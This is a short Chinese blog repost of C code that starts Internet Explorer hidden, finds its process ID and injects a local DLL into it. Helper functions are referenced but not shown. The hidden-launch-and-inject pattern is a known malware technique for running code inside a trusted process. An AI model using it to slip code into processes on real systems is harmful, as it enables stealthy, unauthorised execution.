GetSystemDirectory

来源:互联网 发布:淘宝申请定向计划 编辑:程序博客网 时间:2024/06/18 04:55
int APIENTRY WinMainA(HINSTANCE hInstance,    HINSTANCE hPrevInstance,    LPSTR lpCmdLine,    int nCmdShow){    char Path[255] = { 0 };    char DllPath[255] = { 0 };    //得到widnows 系统路径    GetSystemDirectory(Path, sizeof(Path));    //0x00截断字符,得到盘符    Path[3] = 0x00;    //得到IE 带路径文件名    strcat(Path, "Program Files\\Internet Explorer\\iexplore.exe");    //启动IE,为了防止系统中没有 IE进程    WinExec(Path, SW_HIDE);    //暂停两秒,等待IE 启动    Sleep(2000);//得到IE 进程    DWORD Pid = GetProcessID("iexplore.exe");    //得到程序自身路径    GetCurrentDirectory(sizeof(DllPath), DllPath);    //得到DLL 带路径文件名    strcat(DllPath, "\\test.dll");    //注入IE 进程    InjectDll(DllPath, Pid);    return 0;}
原创粉丝点击